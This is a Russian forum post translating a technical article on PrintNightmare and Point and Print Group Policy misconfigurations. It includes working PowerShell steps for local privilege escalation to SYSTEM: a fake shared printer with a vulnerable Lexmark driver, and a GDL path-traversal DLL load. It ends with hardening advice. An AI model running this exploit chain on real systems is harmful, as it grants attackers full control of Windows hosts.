• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Практическое руководство по PrintNightmare в 2024 году

BLUA

CPU register
Пользователь
Регистрация
24.03.2022
Сообщения
1 189
Решения
1
Реакции
794
Источник: https://itm4n.github.io/printnightmare-exploitation/
Перевёл: BLUA специально для xss.pro

Хотя PrintNightmare и его варианты были теоретически решены Microsoft, эта уязвимость до сих пор затрагивает организации, главным образом из-за довольно запутанных групповых политик и настроек. В этом блоге я хочу пролить свет на эти проблемы конфигурации и, надеюсь, предложить четкие рекомендации по их устранению.

“PrintNightmare” и “Point and Print”

Если вы не жили в изоляции последние три года, вы должны были слышать о «PrintNightmare», но я начну с краткого обзора, чтобы убедиться, что мы на одной волне.

Изначально «PrintNightmare» было названием уязвимости в службе диспетчера печати (Print Spooler), которая могла быть использована для выполнения удалённого выполнения кода (RCE) или локального повышения привилегий (LPE) на Windows-хосте, при условии, что злоумышленник получил сетевой доступ и учетные данные домена или локальный доступ в контексте обычного пользователя. Это действительно стало настоящим «кошмаром», так как это открытие в конечном итоге привело к обнаружению множества вариантов этой первоначальной уязвимости, отчасти вызванных неполными патчами.

Более конкретно, проблемной функцией является «Point and Print». Согласно Microsoft, Point and Print «обозначает возможность для пользователя создать подключение к удаленному принтеру без предоставления дисков или других установочных носителей». Другими словами, эта функция позволяет добавлять принтер, как напрямую, так и через сервер печати, и автоматически устанавливать его драйвер, при этом не требуя прав администратора, целью чего является обеспечение функции plug-and-play для конечных пользователей.

png1.png


> Начиная с Windows Vista, драйверы принтеров могут быть только в пользовательском режиме. Как указано в документации, если приложение попытается установить драйвер в режиме ядра, «функции AddPrinterDriver и AddPrinterDriverEx завершатся с кодом ошибки ERROR_KM_DRIVER_BLOCKED». Тем не менее, это не мешает поставщикам принтеров распространять обычные драйверы в режиме ядра вместе с драйверами принтеров в пользовательском режиме, если они считают это необходимым.

При добавлении принтера требуется установить соответствующий драйвер принтера. Этот драйвер может быть как «не поддерживающий пакеты» (non package aware), так и «поддерживающий пакеты» (package aware). Понятие драйверов, поддерживающих пакеты, было впервые введено в Windows Vista.

Определить, поддерживает ли драйвер принтера пакеты («package aware»), можно с помощью оснастки «Управление печатью» (Print Management) в консоли MMC или просто используя PowerShell.

Код:
PS C:\Users\Administrator> Get-PrinterDriver | select Name,IsPackageAware

Name                                                    IsPackageAware
----                                                    --------------
Microsoft XPS Document Writer v4                                  True
Microsoft Print To PDF                                            True
Microsoft enhanced Point and Print compatibility driver           True
Lexmark Universal v2                                              True
Canon MX920 series Printer                                        True
Canon MX920 series FAX                                           False
Brady BBP11-24L                                                   True
Microsoft enhanced Point and Print compatibility driver           True

Как видно из вывода команды выше, драйверы, поддерживающие пакеты («package aware»), в наши дни гораздо более распространены, чем их аналоги, не поддерживающие пакеты («non package aware»).

Эта разница имеет важное значение, так как она определяет, какой тип конфигурации необходимо применить к функции «Point and Print» для того, чтобы пользователи могли устанавливать принтеры, как мы увидим в следующих частях.

Point and Print ограничен для администраторов

После саги PrintNightmare Microsoft решила решить проблему глобально, ограничив установку драйверов принтеров только администраторами, но с возможностью для системных администраторов при необходимости обходить эту политику. Такое поведение стало стандартным с 10 августа 2021 года.

Для организаций, которые не предвидели этого изменения, последствием стало то, что некоторые пользователи больше не могли печатать с их ПК на Windows. Например, при попытке добавить общий принтер с драйвером, поддерживающим пакеты, через настройки «Принтеры и сканеры», появлялось следующее сообщение об ошибке.

png2.png


Ошибка №740 — это стандартный код ошибки Win32, который переводится как «Запрашиваемая операция требует повышения привилегий». Другими словами, для добавления сетевого принтера требуются права администратора.

png3.png


Таким образом, чтобы разрешить обычным пользователям устанавливать общий принтер, необходимо отключить политику «Ограничить установку драйверов принтера только администраторам» (Конфигурация компьютера > Политики > Административные шаблоны > Принтеры), как упоминалось ранее.

Эта конфигурация небезопасна!

png4.png


Когда этот параметр применяется к целевым рабочим станциям, в реестре создается (или обновляется) следующее значение.

Код:
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators -> 0 (= Disabled)

Если значение RestrictDriverInstallationToAdministrators не существует или установлено на 1, установка драйверов принтеров разрешена только администраторам.

Если мы попробуем добавить наш принтер снова, это сработает!

png5.png


А как насчёт принтеров, использующих драйверы, не поддерживающие пакетирование? В таком случае будет отображено другое диалоговое окно, которое в итоге приведёт к появлению запроса UAC после нажатия кнопки «Продолжить».

png6.png


Если у нас нет прав администратора, у нас не останется другого выбора, кроме как отменить операцию, что приведёт к тому, что принтер не установится.

Ограничения функции Point and Print

В контексте организации, если пользователи не могут устанавливать принтеры с драйверами, не поддерживающими пакеты, это может стать проблемой. Поэтому может возникнуть соблазн отключить уведомление, которое мы видели ранее, с помощью настройки политики ограничений функции Point and Print.

Более конкретно, эта политика содержит два параметра, регулирующих уведомления системы безопасности.

- «При установке драйверов для нового подключения»
- «При обновлении драйверов для существующего подключения»

Установив эти значения на «Не показывать предупреждение или запрос повышения прав», мы можем отключить запросы и, таким образом, получить поведение, аналогичное драйверам, учитывающим пакеты.

Эта конфигурация крайне небезопасна, как мы скоро увидим!

png7.png


Применение этой политики на целевых машинах приведет к установке следующих значений в реестре.

Код:
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
NoWarningNoElevationOnInstall -> 1 (= Do not show warning or elevation prompt)
UpdatePromptSettings -> 2 (= Do not show warning or elevation prompt)

Если значения NoWarningNoElevationOnInstall и UpdatePromptSettings не существуют или установлены в 0, всегда отображаются предупреждения безопасности.

И если мы попробуем снова добавить наш принтер, это сработает! Теперь у нас есть конфигурация, которая позволяет пользователям устанавливать как драйверы принтеров с поддержкой пакетов, так и без неё.

png8.png


PrintNightmare снова вернулся! 👻

Если вы отключите запросы безопасности функции Point and Print, как описано ранее, пользователи смогут устанавливать драйверы принтеров без поддержки пакетов, но при этом вы сделаете устройство уязвимым для оригинальной уязвимости PrintNightmare. Это задокументировано в статье базы знаний KB5005010.

png9.png


Уязвимая конфигурация Point and Print будет следующей
- Параметр RestrictDriverInstallationToAdministrators установлен в значение 0, чтобы пользователи могли устанавливать драйверы принтеров.
- Параметр NoWarningNoElevationOnInstall установлен в значение 1, чтобы при установке драйвера принтера не отображалось окно с запросом прав администратора.

Отключение запросов безопасности делает другие параметры полностью бесполезными. Поэтому, даже если вы зададите список утверждённых серверов или ограничите функцию Point and Print машинами в пределах леса, система всё равно будет уязвима.

В этой конфигурации эксплуатация уязвимости является простой. Фактически, она сводится к вызову функции AddPrinterDriverEx с соответствующими флагами и передачей структуры DRIVER_INFO, содержащей абсолютный путь к DLL, которая будет загружена службой диспетчера печати.

В сети вы найдете множество эксплойтов, но я рекомендую использовать скрипт PowerShell CVE-2021-34527.ps1, разработанный Кейлебом Стюартом и Джоном Хаммондом. Вы можете позволить скрипту использовать встроенную DLL (которая при загрузке создаёт новую локальную учётную запись администратора) или передать абсолютный путь к вашей собственной DLL. В качестве альтернативы вы можете использовать мой собственный скрипт PointAndPrint.ps1, который сильно вдохновлен их работой.

Код:
. .\PointAndPrint.ps1
Invoke-PointAndPrintExploit -DllPath "$HOME\Downloads\payload.dll"

Важно указать абсолютный путь, предпочтительно на локальной файловой системе. Это связано с тем, что путь к DLL будет интерпретироваться в контексте службы диспетчера печати, от имени учетной записи LocalSystem. Следовательно, относительный путь, вероятно, укажет на место, отличное от вашего, и сетевые пути (например, подключенные сетевые диски) могут быть даже недоступны.

Ниже представлено короткое видео, демонстрирующее эксплуатацию уязвимости. В этом примере я использовал DLL, которая просто запускает новый процесс cmd.exe на рабочем столе текущего пользователя.


В итоге, если запросы безопасности функции Point and Print отключены, локальный атакующий может просто загрузить произвольную DLL в контексте службы диспетчера печати. Это самый простой вариант эксплуатации уязвимости, и он работает даже в том случае, если настроен список одобренных серверов Point and Print!

Пакет Point and Print

Теперь давайте немного отмотаем назад и предположим, что мы не отключили запросы безопасности. Иными словами, мы предполагаем, что политика "Ограничение установки драйверов принтера для администраторов" отключена, а все остальные настройки остаются нетронутыми, чтобы применялись значения по умолчанию.

В этих условиях мы видим, что не можем установить драйвер принтера, не поддерживающий пакетный режим, но можем воспользоваться пакетом Point and Print для установки принтера, которым делится сервер печати. Чтобы лучше понять, что происходит в этом случае, нам нужно сначала взглянуть на список драйверов принтеров по умолчанию (см. скриншот ниже).

png10.png


Зная это, действительно легче показать, что служба диспетчера печати загружает соответствующий драйвер с удаленного сервера печати и устанавливает его локально. На скриншоте ниже показано, как драйвер Canon автоматически устанавливается в фоновом режиме.

png11.png


По сути, мы попросили диспетчер печати подключиться к удаленному серверу печати, и он загрузил драйвер с этого расположения. Таким образом, если мы заставим его подключиться к серверу, который контролируем, мы сможем заставить его загрузить кастомный драйвер и, таким образом, выполнить произвольный код от имени NT AUTHORITY\SYSTEM, верно?

Как вы можете себе представить, это не так просто. В статье “Point and Print with Driver Packages” можно прочитать, что “Подпись драйвера и его целостность проверяются на клиенте печати”. Кроме того, в статье “Use Group Policy settings to control printers in Active Directory” также указано, что “При использовании пакетной функции Point and Print компьютеры-клиенты будут проверять подпись всех драйверов, загруженных с серверов печати”.

В случае нашего драйвера Canon мы можем видеть, что он имеет подпись WHQL, так как поле EKU его сертификата содержит OID 1.3.6.1.4.1.311.10.3.5. Это означает, что он прошел процесс проверки перед тем, как был цифрово подписан Microsoft.

png12.png


Если вы откроете свойства бинарного файла драйвера принтера (например, одного из его DLL-файлов), вы не найдете там подписи. Это потому, что "Подпись выпуска WHQL состоит из цифрово подписанного каталожного файла" (см. WHQL Release Signature). В приведенном выше примере таким файлом является MX920P6.cat

Короче говоря, хотя мы можем указать на любой сервер, мы не можем загрузить кастомный драйвер из-за требований к подписи. Можно утверждать, что не невозможно создать вредоносный драйвер и все же пройти проверку WHQL, но существует гораздо более простое решение.

Используйте уязвимый драйвер принтера

Когда дело доходит до обхода продвинутых защит, таких как Protected Processes или решений для обнаружения и реагирования на угрозы на конечных точках (EDR), часто используется уже хорошо известная техника под названием «Используй свой собственный (уязвимый) драйвер». Например, инструменты, такие как PPLKiller или EDRSandBlast, используют легитимные драйверы, которые предоставляют доступ на чтение/запись в ядро, чтобы обойти механизмы безопасности путем изменения данных, которые являются ключевыми для их функционирования.

Хотя драйверы принтеров не являются драйверами в режиме ядра, тот же самый подход может быть применен к Package Point and Print, но с несколько другой целью. Вместо использования привилегий администратора для доступа к ядру, мы стремимся получить эти привилегии администратора.

Для этого нам сначала нужно настроить сервер печати и расшарить поддельный принтер, который использует легитимный, но уязвимый драйвер. Затем мы воспользуемся Package Point and Print, чтобы принудить службу Print Spooler установить этот драйвер на целевую систему. Наконец, мы эксплуатируем эту уязвимость для получения привилегий LocalSystem.

png13.png


Эта конкретная атака была реализована @Junior_Baines в готовом инструменте под названием Concealed Position. Проект состоит из одного исполняемого файла, который включает в себя как сервер, так и клиент, а также коллекцию из четырех уязвимых драйверов принтера.

Тем не менее, существует как минимум две основные проблемы, которые делают этот инструмент едва ли пригодным для использования в наши дни. Прежде всего, он помечен как вредоносный, поэтому его нельзя легко запустить без модификации кода или, по крайней мере, упаковки исполняемого файла. Во-вторых, он полагается на анонимный доступ к общей папке print$, который, скорее всего, будет заблокирован из-за ограничений, введенных в некоторых последних версиях Windows.

Чтобы решить эти проблемы, я разделил цепочку эксплуатации на три шага, которые я повторно реализовал на PowerShell для облегчения воспроизведения. Шаг 1 (красным) и шаг 2 (синим) уже проиллюстрированы на предыдущей диаграмме.
1. АТТАКУЮЩИЙ (в роли администратора): создайте фальшивый общий принтер, используя уязвимый драйвер принтера.
2. ЦЕЛЬ (в роли обычного пользователя): добавьте удалённый общий принтер, чтобы инициировать установку его драйвера локально.
3. ЦЕЛЬ (в роли обычного пользователя): эксплуатируйте уязвимость драйвера принтера для получения привилегий LocalSystem.

Наконец, как я упоминал ранее, Concealed Position предлагает эксплойты для четырёх уязвимых драйверов. Однако, для демонстрации я выбрал только один: ACIDDAMAGE. Он использует базовую уязвимость в разрешениях файлов в драйвере Lexmark (CVE-2021-35449), как мы увидим далее.

1. Создание поддельного общего принтера (Злоумышленник)

Сначала нам нужно скачать и установить известный уязвимый драйвер принтера, такой как драйвер Lexmark, на наш компьютер. Затем мы используем команды PowerShell Add-PrinterDriver и Add-Printer для создания поддельного общего принтера. Все необходимые команды приведены ниже.

Код:
$DriverUrl = "https://github.com/jacob-baines/concealed_position/raw/main/cab_files/ACIDDAMAGE/LMUD1o40.cab"
$Username = "user"
$Password = "P@ssw0rd"
$SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
New-LocalUser -Name $Username -Password $SecurePassword | Out-Null
# Download the CAB file containing the vulnerable driver.
Invoke-WebRequest -Uri $DriverUrl -OutFile ".\LMUD1o40.cab"
# Create the directory that will contain the extracted files.
New-Item -Path ".\ACIDDAMAGE\" -ItemType Directory | Out-Null
# Expand the CAB file in the output directory.
expand.exe ".\LMUD1o40.cab" -F:* ".\ACIDDAMAGE" | Out-Null
# Install the printer driver.
pnputil.exe /add-driver ".\ACIDDAMAGE\LMUD1o40.inf" /install
# Add it as a printer driver.
Add-PrinterDriver -Name "Lexmark Universal v2"
# Create a shared printer that uses this printer driver.
Add-Printer -Name "ACIDDAMAGE" -DriverName "Lexmark Universal v2" -PortName "LPT1:" -PrintProcessor "WinPrint" -Datatype "RAW" -Shared
# Enable File and Printer Sharing firewall rules (optional if your firewall is
# disabled).
# https://learn.microsoft.com/en-us/powershell/module/netsecurity/enable-netfirewallrule#example-1
Enable-NetFirewallRule -Group "@FirewallAPI.dll,-28502"

Вот короткое видео, показывающее всю настройку.

Ниже приведен фрагмент кода, в котором показаны все команды, необходимые для восстановления вашего компьютера в исходное состояние, когда общий принтер больше не нужен. Команды должны быть понятны сами по себе.

Код:
Disable-NetFirewallRule -Group "@FirewallAPI.dll,-28502"
Remove-Printer -Name "ACIDDAMAGE" -Verbose
Restart-Service -Name "Spooler" -Force
Remove-PrinterDriver -Name "Lexmark Universal v2" -Verbose
(pnputil.exe /enum-drivers | Select-String "lmud1o40.inf" -Context 1,0) -Match "(oem.+\.inf)"
$DriverName = $Matches[0]
pnputil.exe /delete-driver $DriverName /uninstall
Remove-Item -Path ".\ACIDDAMAGE\" -Recurse -Force
Remove-Item -Path ".\LMUD1o40.cab" -Force
Remove-LocalUser -Name $Username

2. Установка уязвимого драйвера принтера (Цель)

На стороне клиента (т.е. на целевой машине) теперь мы должны иметь возможность выполнить следующие команды, чтобы подключиться к общему принтеру и принудить службу Диспетчера печати загрузить и установить уязвимый драйвер принтера локально.

Код:
$Server = "192.168.200.226" # IP or hostname of the attacker's machine
$Username = "user"
$Password = "P@ssw0rd"
$PrinterName = "\\$($Server)\ACIDDAMAGE"

# Store remote user credentials in the credential manager
cmdkey.exe /add:$Server /user:$Username /pass:$Password
# Add the shared printer
Add-Printer -ConnectionName $PrinterName

# Cleanup
Remove-Printer -Name $PrinterName
cmdkey.exe /delete:$Server

Встроенный инструмент cmdkey.exe сохраняет учетные данные в Хранилище учетных данных, чтобы Windows могла прозрачно аутентифицироваться на сервере атакующего. Я пробовал несколько других решений, но этот вариант показался самым простым и надежным.

Если все пройдет успешно, вывод каждой команды должен быть пустым, а драйвер принтера "Lexmark Universal v2" должен появиться в списке установленных драйверов. Вы можете проверить это еще раз, используя команду Get-PrinterDriver -Name "Lexmark Universal v2", если хотите.

png14.png


На этом этапе вы можете удалить поддельный принтер как на стороне клиента, так и на стороне сервера, так как он больше не нужен.

3. Использование уязвимостей драйвера принтера (Цель)

Вот и начинается самое интересное! Теперь, когда уязвимый драйвер принтера установлен на целевой системе, мы хотим использовать его, чтобы получить привилегии LocalSystem.

Первое, что нужно сделать, это создать фиктивный принтер, который использует этот драйвер. Это можно сделать с помощью Win32 API AddPrinter, которое я обернул в командлет PowerShell.

Код:
. .\PointAndPrint.ps1
$PrinterInfo = New-Object $PRINTER_INFO_2
$PrinterInfo.PortName = "LPT1:"
$PrinterInfo.DriverName = "Lexmark Universal v2"
$PrinterInfo.PrinterName = "ACIDDAMAGE"
$PrinterInfo.PrintProcessor = "WinPrint"
$PrinterInfo.DataType = "RAW"
$PrinterInfo.Attributes = 0x00001000 + 0x00000020
$PrinterHandle = Add-WinSpoolPrinter -PrinterInfo $PrinterInfo

png15.png


При этом создается папка с именем Lexmark Universal v2 в C:\ProgramData, и устанавливается явный DACL, который предоставляет полный доступ пользователям с подтвержденной подлинностью и гостям. В этой папке можно найти файл с именем Universal Color Laser.gdl.

GDL означает Generic Description Language (универсальный язык описания). Файл GDL — это документ на основе XML, который, по сути, описывает драйвер, его компоненты и зависимости.

Часть файла GDL, которая нас интересует, выделена ниже. Как видите, он ссылается на имена файлов DLL!

Код:
<!-- ... -->
<CONSTRUCT Name="*Feature" Instance="RESDLL">
    <!-- ... -->
    <CONSTRUCT Name="*Option" Instance="COMMON_RESDLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD1OUE.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <!-- ... -->
</CONSTRUCT>
<!-- ... -->

Этот файл GDL анализируется при создании принтера, который использует этот драйвер. Поскольку у нас есть полный контроль, мы можем изменить его и внедрить символы ..\ для выполнения базовой атаки обхода путей, как показано ниже.

Код:
<CONSTRUCT Name="*Option" Instance="COMMON_RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">..\..\..\..\..\..\foo123.DLL</GDL_ATTRIBUTE>
</CONSTRUCT>

Далее нам нужно удалить ранее созданный принтер, потому что мы хотим заставить службу Print Spooler создать его заново, используя изменённую версию файла GDL.
Код:
# Remove the previously created printer.
Remove-WinSpoolPrinter -PrinterHandle $PrinterHandle
Close-WinSpoolPrinter -PrinterHandle $PrinterHandle
# Create the dummy printer again to trigger the arbitrary DLL load.
$PrinterHandle = Add-WinSpoolPrinter -PrinterInfo $PrinterInfo
Remove-WinSpoolPrinter -PrinterHandle $PrinterHandle
Close-WinSpoolPrinter -PrinterHandle $PrinterHandle

Используя Process Monitor в фоновом режиме, мы можем увидеть, что установщик драйвера действительно пытается получить доступ к файлу C:\foo123.dll, который в данном случае не существует, но суть вы поняли. Подкорректировав путь, мы сможем заставить его загрузить DLL из любого произвольного места.

png16.png


Хотя эта уязвимость тривиальна, она требует немного больше шагов, чем два предыдущих этапа, поэтому я автоматизировал всё в своём PowerShell-скрипте PointAndPrint.ps1. Запускать его очень просто, нужно лишь передать путь к вашей DLL через параметр -DllPath. На этот раз неважно, относительный это путь или абсолютный, так как файл будет скопирован в место, выбранное скриптом.

Код:
. .\PointAndPrint.ps1;
Invoke-PrinterDriverExploit -DllPath "$HOME\Downloads\payload.dll"

Ниже представлено видео, показывающее работу эксплойт-скрипта в действии. Как вы увидите, DLL загружается несколько раз (в моем случае 12), так что имейте это в виду при создании вашего полезного кода.

Нет необходимости говорить, что вам придется вручную удалить установленный драйвер, как только вы получите привилегии LocalSystem, иначе машина останется уязвимой.

Код:
Get-PrinterDriver -Name "Lexmark Universal v2" # This should return the vulnerable driver.
Remove-PrinterDriver -Name "Lexmark Universal v2"
# Retrieve the name of driver on the current system
(pnputil.exe /enum-drivers | Select-String "lmud1o40.inf" -Context 1,0) -Match "(oem.+\.inf)"
$DriverName = $Matches[0]
pnputil.exe /delete-driver $DriverName /uninstall
Get-PrinterDriver -Name "Lexmark Universal v2" # This should throw an exception.

Исправление нашей конфигурации Point and Print

Все это хорошо, но как нам настроить систему, чтобы предотвратить такого рода атаку? Самый простой способ — полностью избавиться от службы Print Spooler, отключив ее. Однако, конечно, мы предполагаем, что пользователям необходимо разрешить устанавливать и использовать принтеры. Как же тогда сделать это безопасно?

Ответ заключается в нескольких параметрах групповой политики в разделе Конфигурация компьютера > Политики > Административные шаблоны > Принтеры:
- Использовать только Package Point and print
- Package Point and print - Утвержденные серверы

Включив политику "Использовать только Package Point and print" и настроив политику "Package Point and print - Утвержденные серверы", служба диспетчера печати будет принимать установку только подписанных драйверов принтеров с доверенных серверов.

При такой конфигурации попытки подключения к вредоносному общему принтеру приведут к появлению следующей ошибки.

png17.png


Попытка установки вредоносного принтера до и после настройки списка утвержденных серверов.

И при попытке установить драйвер принтера, не поддерживающий пакеты, будет вызвано следующее исключение. Сообщение об ошибке довольно общее, но код ошибки 0x800704ec переводится как ERROR_ACCESS_DISABLED_BY_POLICY.

png18.png


Основные выводы

Я завершу этот блог пост кратким резюме, которое, надеюсь, даст чёткие рекомендации как системным администраторам, так и консультантам по офенсивной безопасности.

Прежде всего, как администратору, важно помнить одну ключевую вещь: «Не существует комбинации мер защиты, которая эквивалентна установке значения RestrictDriverInstallationToAdministrators на 1» (т.е. Включено), как указано Microsoft в статье базы знаний KB5005652, что также является поведением по умолчанию на актуальных машинах.

Однако, если вам действительно нужно разрешить пользователям домена устанавливать общие принтеры, вам придётся отключить эту политику. В этом случае следующая конфигурация предлагает наилучший компромисс между удобством и безопасностью.

- Ограничение установки драйверов принтера только для администраторов —> Отключено
- Использовать только пакеты драйверов для установки через Point and Print —> Включено
- Package Point and Print — Одобренные серверы —> Список серверов печати в пределах леса (in-forest print servers)

Для корректной работы Package Point and Print принтеры должны быть настроены с драйверами, поддерживающими пакеты.

Наконец, следующая блок-схема должна дать более четкое представление о данных групповых политиках и о том, как некорректная конфигурация может привести к эскалации привилегий на локальном уровне.

png19.png


Ссылки и ресурсы

- GitHub - Скрытая позиция от @Junior_Baines
- https://github.com/jacob-baines/concealed_position
- Microsoft - KB5005652 - Управление новым поведением по умолчанию при установке драйвера Point and Print (CVE-2021-34481) https://support.microsoft.com/en-gb...21-34481-873642bf-2634-49c5-a23b-6d8e9a302872
 
Is there a way to spawn unique systems with the console ?
what is SpawnSystemConsoleDll.dll
I didn't quite understand your question about the console... I also didn't understand the question about SpawnSystemConsoleDll.dll; where did you get that from? It wasn't mentioned in the article.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх